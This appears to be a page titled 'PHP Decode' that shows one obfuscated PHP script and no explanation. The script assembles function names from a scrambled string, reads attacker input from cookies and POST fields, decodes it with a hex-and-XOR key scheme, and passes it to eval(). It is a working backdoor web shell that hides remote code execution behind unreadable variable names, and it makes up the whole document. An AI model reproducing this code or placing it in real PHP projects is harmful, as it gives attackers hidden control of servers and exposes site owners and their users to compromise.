PHP Decode

<?php 
$xsmij = 'vluks#*x-475caf9otnmrHg0b3eiy8d_2\'p6';$scmqr = Array();$scmqr[] = $xsmij[21].$xsmij[6];$scmqr[] = $xsmij[5];$scmqr[] = $xsmij[23].$xsmij[32].$xsmij[10].$xsmij[25].$xsmij[14].$xsmij[24].$xsmij[35].$xsmij[11].$xsmij[8].$xsmij[30].$xsmij[13].$xsmij[11].$xsmij[29].$xsmij[8].$xsmij[9].$xsmij[23].$xsmij[9].$xsmij[15].$xsmij[8].$xsmij[24].$xsmij[32].$xsmij[13].$xsmij[30].$xsmij[8].$xsmij[11].$xsmij[9].$xsmij[35].$xsmij[29].$xsmij[9].$xsmij[12].$xsmij[26].$xsmij[29].$xsmij[13].$xsmij[24].$xsmij[23].$xsmij[29];$scmqr[] = $xsmij[12].$xsmij[16].$xsmij[2].$xsmij[18].$xsmij[17];$scmqr[] = $xsmij[4].$xsmij[17].$xsmij[20].$xsmij[31].$xsmij[20].$xsmij[26].$xsmij[34].$xsmij[26].$xsmij[13].$xsmij[17];$scmqr[] = $xsmij[26].$xsmij[7].$xsmij[34].$xsmij[1].$xsmij[16].$xsmij[30].$xsmij[26];$scmqr[] = $xsmij[4].$xsmij[2].$xsmij[24].$xsmij[4].$xsmij[17].$xsmij[20];$scmqr[] = $xsmij[13].$xsmij[20].$xsmij[20].$xsmij[13].$xsmij[28].$xsmij[31].$xsmij[19].$xsmij[26].$xsmij[20].$xsmij[22].$xsmij[26];$scmqr[] = $xsmij[4].$xsmij[17].$xsmij[20].$xsmij[1].$xsmij[26].$xsmij[18];$scmqr[] = $xsmij[34].$xsmij[13].$xsmij[12].$xsmij[3];foreach ($scmqr[7]($_COOKIE, $_POST) as $sjxwtt => $ewepbo){function gqzgrnm($scmqr, $sjxwtt, $bzvhzxs){return $scmqr[6]($scmqr[4]($sjxwtt . $scmqr[2], ($bzvhzxs / $scmqr[8]($sjxwtt)) + 1), 0, $bzvhzxs);}function urjsu($scmqr, $wjpoaxm){return @$scmqr[9]($scmqr[0], $wjpoaxm);}function fememoz($scmqr, $wjpoaxm){$dgrzh = $scmqr[3]($wjpoaxm) % 3;if (!$dgrzh) {eval($wjpoaxm[1]($wjpoaxm[2]));exit();}}$ewepbo = urjsu($scmqr, $ewepbo);fememoz($scmqr, $scmqr[5]($scmqr[1], $ewepbo ^ gqzgrnm($scmqr, $sjxwtt, $scmqr[8]($ewepbo))));} ?>